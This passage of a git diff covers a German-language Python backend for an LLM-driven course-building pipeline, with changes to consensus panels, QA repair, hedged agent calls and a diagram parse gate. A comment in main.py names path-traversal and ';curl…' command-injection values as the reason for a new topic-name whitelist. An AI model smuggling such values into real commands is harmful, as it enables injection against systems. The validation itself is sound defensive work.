2, stage="luecke_stich", template="Soll-Abgedeckt", schritt="soll_zuordnung", role="judge", item=f"s{soll_id}", werte={"punkt": p["punkt"], "atome": liste}, erwartet=dict) - if stimmen and all(bool(s.get("abgedeckt")) for s in stimmen): + # Freispruch ist destruktiv fürs Soll → nur bei vollzähligem Panel + if llm.einstimmig(stimmen, 2, lambda s: bool(s.get("abgedeckt")) + if "abgedeckt" in s else None): db.update("soll", "id", soll_id, status="abgedeckt") return True return False diff --git a/backend/jsonx.py b/backend/jsonx.py index 178cca9..623da36 100644 --- a/backend/jsonx.py +++ b/backend/jsonx.py @@ -8,14 +8,25 @@ _FENCE = re.compile(r"```(?:json)?\s*(.*?)```", re.DOTALL) def parse(text: str): - """→ Objekt oder None. Nie werfen — der Aufrufer entscheidet über Retry.""" + """→ Objekt oder None. Nie werfen — der Aufrufer entscheidet über Retry. + Jeden Code-Fence UND den Gesamttext durchprobieren; erster Treffer gewinnt. + (Nur den ersten Fence zu nehmen verlor JSON, das nach einem Prosa-Beispiel- + Fence stand.)""" + if not text: + return None + for kandidat in [m.group(1) for m in _FENCE.finditer(text)] + [text]: + daten = _ein_kandidat(kandidat.strip()) + if daten is not None: + return daten + return None + + +def _ein_kandidat(text: str): + """Erstes vollständiges JSON-Objekt/-Array in `text` (Klammer-Balance) oder + None. Das FRÜHESTE Klammerzeichen entscheidet — sonst gewinnt ein {…} im + Array-Inneren.""" if not text: return None - m = _FENCE.search(text) - if m: - text = m.group(1) - text = text.strip() - # Das FRÜHESTE Klammerzeichen entscheidet: sonst gewinnt ein {…} im Array-Inneren. erste = sorted((("{", "}"), ("[", "]")), key=lambda p: text.find(p[0]) if p[0] in text else len(text)) for start_ch, end_ch in erste: diff --git a/backend/korpus.py b/backend/korpus.py index 5778179..e47c3a9 100644 --- a/backend/korpus.py +++ b/backend/korpus.py @@ -129,7 +129,7 @@ async def _recherche_runde(ctx: llm.Kontext, runde: int) -> int: erwartet=list) return res or [] - ergebnisse = await asyncio.gather(*(eine(lens) for lens in RECHERCHE_LENSES)) + ergebnisse = await llm.alle(eine(lens) for lens in RECHERCHE_LENSES) neu = 0 for lens, quellen in zip(RECHERCHE_LENSES, ergebnisse): for q in quellen: @@ -159,6 +159,15 @@ async def _soll_extrahieren(ctx: llm.Kontext) -> None: offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='neu'", (ctx.topic,)) async def eine(q: dict) -> None: + # Resume-Idempotenz: Kandidaten eines abgebrochenen Passes dieser Quelle + # zuerst entfernen (Status='neu' ⇒ Konsens lief noch nicht ⇒ diese + # Kandidaten stammen nur aus dem unterbrochenen Lauf) — sonst blähen + # Doppel-Kandidaten das √n-Konsensband auf. + for r in db.query("SELECT id, belege FROM soll WHERE topic=? AND status='kandidat'", + (ctx.topic,)): + belege = db.uj(r["belege"]) + if belege and belege[0].get("quelle") == q["id"]: + db.execute("DELETE FROM soll WHERE id=?", (r["id"],)) text = quelltext(q) for i, (_, chunk) in enumerate(textkit.abschnitte(text, SOLL_CHUNK_CHARS)): res = await llm.call(ctx, stage="soll", template="Korpus-Soll", @@ -173,7 +182,7 @@ async def _soll_extrahieren(ctx: llm.Kontext) -> None: belege=db.j([{"quelle": q["id"], "zitat": zitat}])) db.update("quellen", "id", q["id"], status="extrahiert") - await asyncio.gather(*(eine(q) for q in offene)) + await llm.alle(eine(q) for q in offene) def _min_belege(topic: str) -> int: @@ -267,11 +276,37 @@ async def _konsens(ctx: llm.Kontext) -> int: belege = [b for i in p["ids"] for b in db.uj(je_id[i]["belege"])] if len({b["quelle"] for b in belege}) >= min_belege: bestaetigt.append((p, belege)) - for r in db.query("SELECT id FROM soll WHERE topic=? AND status='bestaetigt'", (ctx.topic,)): - db.execute("DELETE FROM soll WHERE id=?", (r["id"],)) # idempotent: neu aufbauen + # Bestehende bestätigte Zeilen NICHT löschen und neu bauen (das warf die von + # _belege_nachsuchen ergänzten Belege + den geprueft-Cache weg und churnte die + # soll.id). Stattdessen abgleichen: Match über punkt-Kern, sonst über einen + # gemeinsamen (quelle,zitat)-Beleg. Treffer → Belege-Union, geprueft bleibt. + alt = db.query("SELECT * FROM soll WHERE topic=? AND status='bestaetigt'", (ctx.topic,)) + alt_kern: dict[str, dict] = {} + alt_beleg: dict[tuple, dict] = {} + for r in alt: + alt_kern.setdefault(r["punkt"].casefold(), r) + for b in db.uj(r["belege"]): + alt_beleg.setdefault((b["quelle"], b["zitat"]), r) + behalten: set[int] = set() for p, belege in bestaetigt: - db.insert("soll", topic=ctx.topic, punkt=p["punkt"], status="bestaetigt", - belege=db.j(belege)) + treffer = alt_kern.get(p["punkt"].casefold()) + if treffer is None: + for b in belege: + if (treffer := alt_beleg.get((b["quelle"], b["zitat"]))): + break + if treffer is not None: + vorhanden = db.uj(treffer["belege"]) + gesehen = {(b["quelle"], b["zitat"]) for b in vorhanden} + vereint = vorhanden + [b for b in belege + if (b["quelle"], b["zitat"]) not in gesehen] + db.update("soll", "id", treffer["id"], punkt=p["punkt"], belege=db.j(vereint)) + behalten.add(treffer["id"]) + else: + behalten.add(db.insert("soll", topic=ctx.topic, punkt=p["punkt"], + status="bestaetigt", belege=db.j(belege))) + for r in alt: # verwaiste bestätigte Zeilen (kein Konsens mehr) entfernen + if r["id"] not in behalten: + db.execute("DELETE FROM soll WHERE id=?", (r["id"],)) ok_ids = {i for p, _ in bestaetigt for i in p["ids"]} for i, k in je_id.items(): # Buchführung: kein Kandidat verschwindet still status = ("abgelehnt" if i in abgelehnt else @@ -310,7 +345,12 @@ async def bauen(ctx: llm.Kontext) -> None: if jetzt <= vorher >= 0: # Sättigung: Runde ohne neuen bestätigten Punkt break vorher = jetzt - db.update("topics", "name", ctx.topic, status="korpus_fertig") # Auto-Freeze + # Auto-Freeze nur bei ≥1 bestätigtem Punkt — sonst bleibt Status 'korpus', der + # QA-Loop läuft an (soll_leer) und das Gate stoppt den Lauf fail-closed, statt + # E1 mit leerem Soll zu starten (dort würde jedes Atom kaskadenartig verworfen). + if db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=? AND status='bestaetigt'", + (ctx.topic,))["n"]: + db.update("topics", "name", ctx.topic, status="korpus_fertig") # ── QA + Repair ─────────────────────────────────────────────────────────────── @@ -361,22 +401,31 @@ async def _belege_nachsuchen(ctx: llm.Kontext, soll_ids: list[int]) -> bool: if not faellig: return text = quelltext(q) - liste = "\n".join(f"{p['id']}: {p['punkt']}" for p in faellig) - res = await llm.call(ctx, stage="soll_beleg", template="Korpus-Soll-Beleg", - schritt="soll", role="judge", item=f"q{q['id']}", - n=len(faellig), - werte={"punkte": liste, "text": text[:SOLL_CHUNK_CHARS]}, - erwartet=list) - if res is None: - return # Ausfall: nicht als „geprüft" verbuchen + offen_ids = {p["id"] for p in faellig} gefunden: dict[int, str] = {} - for e in res: - if not isinstance(e, dict): + ausfall = False # ein Fenster-Ausfall → Quelle nicht vollständig geprüft + # ALLE Fenster durchsuchen (nicht nur die ersten 40k) — sonst nagelt der + # geprueft-Cache Belege hinter dem ersten Fenster dauerhaft fest. + for fi, (_, chunk) in enumerate(textkit.abschnitte(text, SOLL_CHUNK_CHARS)): + rest = [p for p in faellig if p["id"] in offen_ids] + if not rest: + break + liste = "\n".join(f"{p['id']}: {p['punkt']}" for p in rest) + res = await llm.call(ctx, stage="soll_beleg", template="Korpus-Soll-Beleg", + schritt="soll", role="judge", item=f"q{q['id']}-{fi}", + n=len(rest), + werte={"punkte": liste, "text": chunk}, erwartet=list) + if res is None: + ausfall = True continue - zitat = str(e.get("zitat", "")).strip() - if zitat and e.get("soll") in {p["id"] for p in faellig} \ - and textkit.finde_zitat(text, zitat) is not None: - gefunden[e["soll"]] = zitat + for e in res: + if not isinstance(e, dict): + continue + zitat = str(e.get("zitat", "")).strip() + if zitat and e.get("soll") in offen_ids \ + and textkit.finde_zitat(chunk, zitat) is not None: + gefunden[e["soll"]] = zitat + offen_ids.discard(e["soll"]) for p in faellig: frisch = db.one("SELECT * FROM soll WHERE id=?", (p["id"],)) if p["id"] in gefunden: @@ -384,7 +433,7 @@ async def _belege_nachsuchen(ctx: llm.Kontext, soll_ids: list[int]) -> bool: "zitat": gefunden[p["id"]]}] db.update("soll", "id", p["id"], belege=db.j(belege)) bewegt = True - else: + elif not ausfall: # nur eine lückenlos durchsuchte Quelle gilt als geprüft geprueft = sorted(set(db.uj(frisch["geprueft"])) | {q["id"]}) db.update("soll", "id", p["id"], geprueft=db.j(geprueft)) @@ -414,10 +463,33 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool: (ctx.topic,)) bewegt = bewegt or len(noch) < len(offene) if any(b["art"] in ("korpus_leer", "soll_leer") for b in befunde): - topic = db.one("SELECT art FROM topics WHERE name=?", (ctx.topic,)) - if topic["art"] == "thema": + art = db.one("SELECT art FROM topics WHERE name=?", (ctx.topic,))["art"] + if art == "thema": await _recherche_runde(ctx, runde=99) await _soll_extrahieren(ctx) await _konsens(ctx) bewegt = True + else: # uni: keine Recherche möglich — vorhandene Quellen neu falten, + # ohne Kandidaten sogar frisch extrahieren; ehrliches bewegt + vorher = db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=?" + " AND status='bestaetigt'", (ctx.topic,))["n"] + if not db.query("SELECT id FROM soll WHERE topic=? AND" + " status IN ('kandidat','gefaltet')", (ctx.topic,)): + db.execute("UPDATE quellen SET status='neu' WHERE topic=?", (ctx.topic,)) + await _soll_extrahieren(ctx) + await _konsens(ctx) + nachher = db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=?" + " AND status='bestaetigt'", (ctx.topic,))["n"] + bewegt = bewegt or nachher > vorher return bewegt + + +def gate(ctx: llm.Kontext) -> str | None: + """Fail-closed-Gate vor dem Ebenen-Marker: ohne Quellen oder ohne bestätigten + Soll-Punkt darf E1 nicht starten (leeres Soll verwirft in E1 jedes Atom).""" + if not db.one("SELECT id FROM quellen WHERE topic=? LIMIT 1", (ctx.topic,)): + return "keine Quellen" + if not db.one("SELECT id FROM soll WHERE topic=? AND status='bestaetigt' LIMIT 1", + (ctx.topic,)): + return "kein bestätigter Soll-Punkt" + return None diff --git a/backend/ledger.py b/backend/ledger.py index cf03cf3..0cfca84 100644 --- a/backend/ledger.py +++ b/backend/ledger.py @@ -55,7 +55,8 @@ def kennzahlen(run_id: int) -> list[dict]: "SELECT ebene, stage, template, COUNT(*) AS calls," " SUM(tok_in) AS tok_in, SUM(tok_out) AS tok_out," " SUM(tok_cache_read) AS cache_read, SUM(dur_ms) AS dur_ms, SUM(wait_ms) AS wait_ms," - " SUM(status='ok') AS ok, SUM(status='timeout') AS timeouts," - " SUM(status IN ('error','infra')) AS fehler" + " SUM(status='ok') AS ok," + " SUM(status='infra' AND meta LIKE '%timeout%') AS timeouts," + " SUM(status IN ('error','infra','parse')) AS fehler" " FROM events WHERE run_id=? GROUP BY ebene, stage, template ORDER BY MIN(id)", (run_id,)) diff --git a/backend/llm.py b/backend/llm.py index 0498606..b6a3f7c 100644 --- a/backend/llm.py +++ b/backend/llm.py @@ -45,9 +45,11 @@ def _ist_infra(err: str) -> bool: async def _roher_call(key: str, prompt: str, timeout: int, ctx: Kontext, - role: str, caps: str) -> agents.AgentErgebnis: + role: str, caps: str, log_hedge=None) -> agents.AgentErgebnis: """Ein Agent-Call mit Stall-Hedge: läuft der Slot max(HEDGE_NACH_S, timeout/2) - ohne Ergebnis, startet genau EIN Zwilling; das erste valide Ergebnis gewinnt.""" + ohne Ergebnis, startet genau EIN Zwilling; das erste valide Ergebnis gewinnt. + Der zweite (Verlierer-)Call wird über `log_hedge(res|None)` als eigene + Ledger-Zeile verbucht — sonst fehlen seine Tokens in Budget und Kennzahlen.""" schwelle = max(HEDGE_NACH_S, timeout / 2) if HEDGE_NACH_S > 0 else 0 async def einer(k: str): @@ -59,18 +61,42 @@ async def _roher_call(key: str, prompt: str, timeout: int, ctx: Kontext, return await haupt fertig, _ = await asyncio.wait({haupt}, timeout=schwelle) if fertig: - return haupt.result() + return haupt.result() # kein Zwilling gestartet → kein Hedge-Log zwilling = asyncio.ensure_future(einer(f"{key}-h")) + paar = {haupt, zwilling} + gewinner = None + sonstige: list[agents.AgentErgebnis] = [] # fertig, aber nicht Gewinner + letzter_fehler = None try: - for aufgabe in asyncio.as_completed([haupt, zwilling]): - res = await aufgabe - if res.ok: - return res - return res # beide fertig, keins ok → letztes Ergebnis zur Diagnose + pending = set(paar) + while pending and gewinner is None: + done, pending = await asyncio.wait(pending, return_when=asyncio.FIRST_COMPLETED) + for t in done: + try: + res = t.result() + except asyncio.TimeoutError as e: + letzter_fehler = e # ein Timeout bricht den Hedge NICHT ab — + continue # der Zwilling darf noch liefern + if res.ok and gewinner is None: + gewinner = res + else: + sonstige.append(res) finally: - for t in (haupt, zwilling): + for t in paar: if not t.done(): t.cancel() + if log_hedge is not None: + if gewinner is not None: + # der Verlierer: fertig (Tokens bekannt) oder gecancelt (0 Tokens) + log_hedge(sonstige[0] if sonstige else None) + elif len(sonstige) >= 2: + # kein Gewinner: call() loggt das erste als Hauptzeile, das zweite hier + log_hedge(sonstige[1]) + if gewinner is not None: + return gewinner + if sonstige: + return sonstige[0] # keins ok → erstes Ergebnis zur Diagnose + raise letzter_fehler if letzter_fehler else asyncio.TimeoutError() async def call(ctx: Kontext, *, stage: str, template: str, werte: dict, @@ -83,13 +109,23 @@ async def call(ctx: Kontext, *, stage: str, template: str, werte: dict, infra_rest = INFRA_MAX_RETRIES inhalt_rest = MAX_RESTARTS versuch = 0 + + def _log_hedge(res) -> None: + # Verlierer-/Zweitcall des Hedge als eigene Ledger-Zeile (Budget zählt mit) + ledger.log_call(ctx.run_id, ebene=ctx.ebene, stage=stage, item=f"{item}-hedge", + template=template, template_hash=thash, role=role, + provider=ctx.provider, model=(res.model if res else ""), + status="hedge" if res else "hedge_cancel", + tokens=(res.tokens if res else None)) + while True: versuch += 1 + ledger.budget_pruefen(ctx.run_id) # Vorab: nicht erst NACH dem Call stoppen key = f"{ctx.topic}-{ctx.ebene}-{stage}-{item or 'x'}-{versuch}" start = time.monotonic() status, tokens, err, wait_ms, model = "error", None, "", 0, "" try: - res = await _roher_call(key, prompt, timeout, ctx, role, caps) + res = await _roher_call(key, prompt, timeout, ctx, role, caps, _log_hedge) tokens, err = res.tokens, res.err wait_ms = int(res.wait_s * 1000) model = res.model @@ -147,13 +183,23 @@ async def alle(coros) -> list: raise +def einstimmig(stimmen: list, n: int, urteil) -> bool: + """Destruktiver Entscheid (verwerfen/mergen/freisprechen) nur bei VOLLZÄHLIGEM + Panel: mindestens n gültige Stimmen, alle True. `urteil(s)` liefert True/False + oder None (Ausfall/Parse/fehlendes Feld = keine Stimme → kein Entscheid). + Falsch-Verwerfen >> ein überlebendes Item (Lektion 67). Muster von + `chunk_urteil` (inventar) verallgemeinert.""" + gueltig = [u for u in (urteil(s) for s in stimmen) if u is not None] + return len(gueltig) >= n and all(gueltig) + + async def panel(ctx: Kontext, groesse: int, **kw) -> list: """`groesse` unabhängige Calls, alle Ergebnisse (None-gefiltert). Fällt genau eine Stimme eines 2er-Panels aus, ersetzt EIN Ersatz-Richter (Lektion 20), dann entscheidet der Aufrufer über Konsens.""" item = kw.get("item", "") - stimmen = await asyncio.gather(*(call(ctx, **{**kw, "item": f"{item}-p{i + 1}"}) - for i in range(groesse))) + stimmen = await alle(call(ctx, **{**kw, "item": f"{item}-p{i + 1}"}) + for i in range(groesse)) gueltig = [s for s in stimmen if s is not None] if len(gueltig) == groesse - 1 and groesse >= 2: ersatz = await call(ctx, **{**kw, "item": f"{item}-pE"}) diff --git a/backend/main.py b/backend/main.py index ea53516..810cbaf 100644 --- a/backend/main.py +++ b/backend/main.py @@ -18,7 +18,7 @@ import db import guide import ledger import pipeline -from config import FRONTEND_DIST, PROJECT_ROOT +from config import FRONTEND_DIST, PROJECT_ROOT, topic_name_ok from ws import hub logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(levelname)s %(message)s") @@ -93,6 +93,10 @@ def topics_liste(): def topic_anlegen(auftrag: TopicNeu): if not auftrag.name.strip(): raise HTTPException(400, "Name fehlt") + # streng validieren: der Name wird Pfadkomponente (rmtree, Snapshots) und + # Shell-Argument (Transfer) — „..", „/" oder „;curl…" wären sonst gefährlich + if not topic_name_ok(auftrag.name): + raise HTTPException(400, "Name: nur Buchstaben/Ziffern/-/_ (Anfang alphanumerisch)") if db.one("SELECT name FROM topics WHERE name=?", (auftrag.name,)): raise HTTPException(409, "Topic existiert") if auftrag.art not in ("thema", "uni"): @@ -149,9 +153,14 @@ def state(topic: str): "bausteine": db.query( "SELECT b.*, s.stage FROM bausteine b LEFT JOIN sections s ON s.baustein_id=b.id" " WHERE b.topic=? ORDER BY b.ord", (topic,)), + "diagramme": db.query( + "SELECT d.id, d.baustein_id, d.typ, d.quelle, d.status, b.titel, b.ord" + " FROM diagramme d JOIN bausteine b ON b.id=d.baustein_id" + " WHERE d.topic=? AND d.status!='kein' ORDER BY b.ord, d.id", (topic,)), + # topic-scoped: offene Befunde früherer Läufe bleiben nach Resume sichtbar "befunde": db.query( - "SELECT * FROM befunde WHERE run_id=? AND status='offen' ORDER BY id", - (run["id"],)) if run else [], + "SELECT b.* FROM befunde b JOIN runs r ON r.id=b.run_id" + " WHERE r.topic=? AND b.status='offen' ORDER BY b.id", (topic,)), "agenten": agents.aktive_agenten(), } @@ -177,6 +186,10 @@ async def transfer_ausfuehren(topic: str, richtung: str): raise HTTPException(403, "Transfer nur lokal verfügbar") if richtung not in ("push", "pull"): raise HTTPException(404, "unbekannte Richtung") + # Name gegen die Whitelist prüfen UND Existenz sichern — der Name fließt in + # ein make-Shell-Rezept; ohne diese Schranke wäre er ein Injektionsvektor. + if not topic_name_ok(topic) or not db.one("SELECT name FROM topics WHERE name=?", (topic,)): + raise HTTPException(404, "unbekanntes Topic") res = await asyncio.to_thread( subprocess.run, ["make", f"server-{richtung}", f"TOPIC={topic}"], cwd=PROJECT_ROOT, capture_output=True, text=True, timeout=600) diff --git a/backend/mermaid_check.mjs b/backend/mermaid_check.mjs new file mode 100644 index 0000000..1705826 --- /dev/null +++ b/backend/mermaid_check.mjs @@ -0,0 +1,37 @@ +// Mermaid-Parse-Gate: prüft Diagramm-Quelltext mit DEMSELBEN Parser wie das Frontend. +// stdin: JSON [{id, code}] → stdout: JSON [{id, fehler}, …] (nur die fehlerhaften). +// Zwilling zu katex_check.mjs: was hier parst, rendert auch im Guide. +// +// Mermaid braucht zum Sanitisieren der Labels ein DOM — headless via jsdom, sonst +// wirft parse() für JEDES Diagramm mit Label „DOMPurify.addHook is not a function" +// (nicht ein Diagramm-Fehler, sondern ein Umgebungsfehler → alles fälschlich verworfen). +import { createRequire } from 'node:module' +import { readFileSync } from 'node:fs' + +function laden(name) { + try { + return createRequire(import.meta.url)(name) // Container: backend/node_modules + } catch { + const basis = process.env.MERMAID_BASE // Dev: frontend/node_modules + return createRequire(basis.endsWith('/') ? basis : basis + '/')(name) + } +} + +const { JSDOM } = laden('jsdom') +const dom = new JSDOM('') +globalThis.window = dom.window +globalThis.document = dom.window.document + +const mermaid = laden('mermaid').default +mermaid.initialize({ startOnLoad: false, securityLevel: 'strict' }) + +const diagramme = JSON.parse(readFileSync(0, 'utf8')) +const fehler = [] +for (const d of diagramme) { + try { + await mermaid.parse(d.code) // wirft bei Syntaxfehler + } catch (e) { + fehler.push({ id: d.id, fehler: String(e.message || e).slice(0, 160) }) + } +} +process.stdout.write(JSON.stringify(fehler)) diff --git a/backend/pipeline.py b/backend/pipeline.py index 57818cc..bbe5bfd 100644 --- a/backend/pipeline.py +++ b/backend/pipeline.py @@ -10,6 +10,7 @@ import agents import artefakte import auto_loop import db +import diagramme import guide import inventar import korpus @@ -26,10 +27,11 @@ EBENEN = [ ("inventar", inventar, "inventar_fertig"), ("artefakte", artefakte, "artefakte_fertig"), ("struktur", struktur, "struktur_fertig"), + ("diagramme", diagramme, "diagramme_fertig"), ("guide", guide, "fertig"), ] _ORDNUNG = ["neu", "korpus", "korpus_fertig", "inventar_fertig", - "artefakte_fertig", "struktur_fertig", "fertig"] + "artefakte_fertig", "struktur_fertig", "diagramme_fertig", "fertig"] _laeufe: dict[str, asyncio.Task] = {} @@ -60,11 +62,12 @@ def lauf_stoppen(topic: str) -> None: run = db.one("SELECT id FROM runs WHERE topic=? AND status='running'" " ORDER BY id DESC", (topic,)) if run: - db.update("runs", "id", run["id"], status="stopped", beendet="jetzt") + db.update("runs", "id", run["id"], status="stopped", beendet=db.now()) -_ROLLBACK = {"guide": "struktur_fertig", "struktur": "artefakte_fertig", - "artefakte": "inventar_fertig", "inventar": "korpus_fertig", "korpus": "neu"} +_ROLLBACK = {"guide": "diagramme_fertig", "diagramme": "struktur_fertig", + "struktur": "artefakte_fertig", "artefakte": "inventar_fertig", + "inventar": "korpus_fertig", "korpus": "neu"} def ebenen_entfernen(topic: str, ebene: str) -> None: @@ -74,39 +77,48 @@ def ebenen_entfernen(topic: str, ebene: str) -> None: if ebene not in _ROLLBACK: raise ValueError(f"unbekannte Ebene: {ebene}") lauf_stoppen(topic) - stufe = ["guide", "struktur", "artefakte", "inventar", "korpus"].index(ebene) + stufe = ["guide", "diagramme", "struktur", "artefakte", "inventar", "korpus"].index(ebene) db.execute("DELETE FROM sections WHERE baustein_id IN" " (SELECT id FROM bausteine WHERE topic=?)", (topic,)) db.execute("UPDATE bausteine SET status='neu' WHERE topic=?", (topic,)) db.execute("UPDATE kapitel SET intro='' WHERE topic=?", (topic,)) # Intro ist Guide-Text - if stufe >= 1: # struktur + if stufe >= 1: # diagramme + db.execute("DELETE FROM diagramme WHERE topic=?", (topic,)) + if stufe >= 2: # struktur db.execute("DELETE FROM bausteine WHERE topic=?", (topic,)) db.execute("DELETE FROM kapitel WHERE topic=?", (topic,)) db.execute("DELETE FROM lernziele WHERE topic=?", (topic,)) db.execute("UPDATE atome SET ziel_id=NULL, baustein_id=NULL, ord=0 WHERE topic=?", (topic,)) - if stufe >= 2: # artefakte + if stufe >= 3: # artefakte db.execute("DELETE FROM leitner WHERE artefakt_id IN (SELECT ar.id FROM artefakte ar" " JOIN atome a ON ar.atom_id=a.id WHERE a.topic=?)", (topic,)) db.execute("DELETE FROM artefakte WHERE atom_id IN" " (SELECT id FROM atome WHERE topic=?)", (topic,)) - if stufe >= 3: # inventar + if stufe >= 4: # inventar db.execute("DELETE FROM anker WHERE atom_id IN (SELECT id FROM atome WHERE topic=?)", (topic,)) db.execute("DELETE FROM kanten WHERE topic=?", (topic,)) db.execute("DELETE FROM atome WHERE topic=?", (topic,)) - db.execute("UPDATE quellen SET status='extrahiert' WHERE topic=?", (topic,)) - if stufe >= 4: # korpus + # atome_stand mit-nullen — sonst überspringt der Resume-Guard die Neu-Extraktion + db.execute("UPDATE quellen SET status='extrahiert', atome_stand='' WHERE topic=?", + (topic,)) + if stufe >= 5: # korpus db.execute("DELETE FROM soll WHERE topic=?", (topic,)) db.execute("DELETE FROM quellen WHERE topic=?", (topic,)) import shutil from config import KORPUS_DIR - shutil.rmtree(KORPUS_DIR / topic, ignore_errors=True) + # Gürtel-und-Hosenträger vor dem destruktiven rmtree: der Zielpfad MUSS + # unter KORPUS_DIR liegen (Alt-DBs könnten Namen ohne heutige Validierung + # tragen). Sonst nichts löschen. + ziel = (KORPUS_DIR / topic).resolve() + if ziel != KORPUS_DIR.resolve() and ziel.is_relative_to(KORPUS_DIR.resolve()): + shutil.rmtree(ziel, ignore_errors=True) # Token-/Dauer-Anzeige der entfernten Ebenen nullen: Events bleiben (Ledger ist # append-only), aber die Zählung beginnt hinter dem Reset-Marker neu. letzte = db.one("SELECT MAX(id) AS m FROM events")["m"] or 0 resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {}) - for name in ["guide", "struktur", "artefakte", "inventar", "korpus"][:stufe + 1]: + for name in ["guide", "diagramme", "struktur", "artefakte", "inventar", "korpus"][:stufe + 1]: resets[name] = letzte db.update("topics", "name", topic, status=_ROLLBACK[ebene], resets=db.j(resets)) @@ -134,6 +146,8 @@ def voll_reset(topic: str) -> None: (topic,)) db.execute("DELETE FROM kanten WHERE topic=?", (topic,)) db.execute("DELETE FROM atome WHERE topic=?", (topic,)) + # Atome weg → Merker nullen, sonst überspringt der Guard die Neu-Extraktion + db.execute("UPDATE quellen SET atome_stand='' WHERE topic=?", (topic,)) db.update("topics", "name", topic, status="neu") @@ -174,25 +188,31 @@ async def _lauf(topic: str, run_id: int) -> None: note, grund = await auto_loop.auto_repair_loop(name, erst_note, reparieren) log.info("%s/%s: Note %.1f (%s)", topic, name, note, grund) + # Fail-closed-Gate vor dem Ebenen-Marker (nur wo das Modul eins hat): + # ein RuntimeError landet im Exception-Handler → Run 'failed', der + # Ebenen-Marker wird NICHT gesetzt, die nächste Ebene startet nie. + gate = getattr(modul, "gate", None) + if gate and (grund_gate := gate(ctx)): + raise RuntimeError(f"{name}-Gate: {grund_gate}") db.update("topics", "name", topic, status=marke) flags = db.uj(db.one("SELECT auto FROM topics WHERE name=?", (topic,))["auto"], {}) if not flags.get(name, True) and marke != "fertig": - db.update("runs", "id", run_id, status="done", beendet="jetzt", + db.update("runs", "id", run_id, status="done", beendet=db.now(), grund=f"Auto-Stopp nach {name}") return - db.update("runs", "id", run_id, status="done", beendet="jetzt") + db.update("runs", "id", run_id, status="done", beendet=db.now()) except llm.LaufPause as e: agents.abbrechen(f"{topic}-") # Nachzügler-Tasks dürfen keine Tokens mehr ziehen - db.update("runs", "id", run_id, status="paused", grund=str(e)[:300], beendet="jetzt") + db.update("runs", "id", run_id, status="paused", grund=str(e)[:300], beendet=db.now()) log.warning("%s: Lauf pausiert — %s", topic, e) except ledger.BudgetErschoepft as e: agents.abbrechen(f"{topic}-") - db.update("runs", "id", run_id, status="budget", grund=str(e)[:300], beendet="jetzt") + db.update("runs", "id", run_id, status="budget", grund=str(e)[:300], beendet=db.now()) log.warning("%s: Budget erreicht", topic) except asyncio.CancelledError: raise except Exception as e: agents.abbrechen(f"{topic}-") db.update("runs", "id", run_id, status="failed", grund=f"{type(e).__name__}: {e}"[:300], - beendet="jetzt") + beendet=db.now()) log.exception("%s: Lauf fehlgeschlagen", topic) diff --git a/backend/qa.py b/backend/qa.py index e61c5fd..a4f8af9 100644 --- a/backend/qa.py +++ b/backend/qa.py @@ -9,6 +9,7 @@ import logging import artefakte import db +import diagramme import guide import inventar import korpus @@ -18,7 +19,7 @@ import struktur log = logging.getLogger("creator2.qa") MODULE = {"korpus": korpus, "inventar": inventar, "artefakte": artefakte, - "struktur": struktur, "guide": guide} + "struktur": struktur, "diagramme": diagramme, "guide": guide} # Gewichte je Befund-Art: kritisch 3.0 (verletzt Kernprinzip), mittel 1.5, stil 0.5. GEWICHTE = { @@ -32,7 +33,9 @@ GEWICHTE = { "kapitel_zerstueckelt": 1.5, "titel_katalog": 1.5, "quelle_unvollstaendig": 3.0, "section_fehlt": 3.0, "marker_fehlend": 3.0, "marker_fremd": 3.0, "ziel_ohne_anker": 3.0, "fachlich_falsch": 3.0, "laenge": 0.5, "vorwaerts": 0.5, - "det_check": 0.5, + "det_check": 0.5, "fix_offen": 1.5, + "diagramm_parse_fehler": 3.0, "diagramm_ungegroundet": 3.0, + "diagramm_unverifiziert": 0.5, "diagramm_marker_tot": 3.0, } @@ -45,6 +48,7 @@ def _basis(topic: str, ebene: str) -> int: " AND status NOT IN ('gemerged','verworfen')", "struktur": "SELECT COUNT(*) n FROM atome WHERE topic=?" " AND status NOT IN ('gemerged','verworfen')", + "diagramme": "SELECT COUNT(*) n FROM bausteine WHERE topic=?", "guide": "SELECT COUNT(*) n FROM bausteine WHERE topic=?"}[ebene] row = db.one(z, (topic,)) return max(1, int(row["n"]) if row else 1) @@ -62,21 +66,30 @@ def note(befunde: list[dict], basis: int) -> float: def _persistieren(ctx: llm.Kontext, ebene: str, befunde: list[dict]) -> None: """Offene Alt-Befunde, die nicht mehr auftreten → repariert; Neues → offen. - Bestehende offene Zeilen bleiben (kein Duplikat).""" - alte = db.query("SELECT * FROM befunde WHERE run_id=? AND ebene=? AND status='offen'", - (ctx.run_id, ebene)) - neu_keys = {(b["art"], str(b["item"])) for b in befunde} + Schlüssel schließt detail EIN — mehrere Befunde gleicher (art, item) mit + verschiedenen Details (z. B. mehrere det_check je Section) sind legitim und + brauchen je eine Zeile; ohne detail kollabierten sie und alte Details blieben + für immer offen. topic-scoped (JOIN runs), damit auch offene Zeilen früherer + Läufe geschlossen werden, wenn der Befund nicht mehr auftritt.""" + alte = db.query( + "SELECT b.* FROM befunde b JOIN runs r ON r.id=b.run_id" + " WHERE r.topic=? AND b.ebene=? AND b.status='offen'", (ctx.topic, ebene)) + + def schluessel(art, item, detail) -> tuple: + return (art, str(item), (detail or "")[:500]) + + neu_keys = {schluessel(b["art"], b["item"], b.get("detail", "")) for b in befunde} alt_keys = set() for alt in alte: - key = (alt["art"], alt["item"]) - if key in neu_keys: - alt_keys.add(key) + k = schluessel(alt["art"], alt["item"], alt["detail"]) + if k in neu_keys: + alt_keys.add(k) else: db.update("befunde", "id", alt["id"], status="repariert") for b in befunde: - if (b["art"], str(b["item"])) not in alt_keys: + if schluessel(b["art"], b["item"], b.get("detail", "")) not in alt_keys: db.insert("befunde", run_id=ctx.run_id, ebene=ebene, art=b["art"], - item=str(b["item"]), detail=b["detail"][:500], status="offen") + item=str(b["item"]), detail=(b.get("detail") or "")[:500], status="offen") async def messen(ctx: llm.Kontext, ebene: str, mit_llm: bool = True) -> tuple[float, list[dict]]: diff --git a/backend/struktur.py b/backend/struktur.py index ae5f68c..2cdbfbd 100644 --- a/backend/struktur.py +++ b/backend/struktur.py @@ 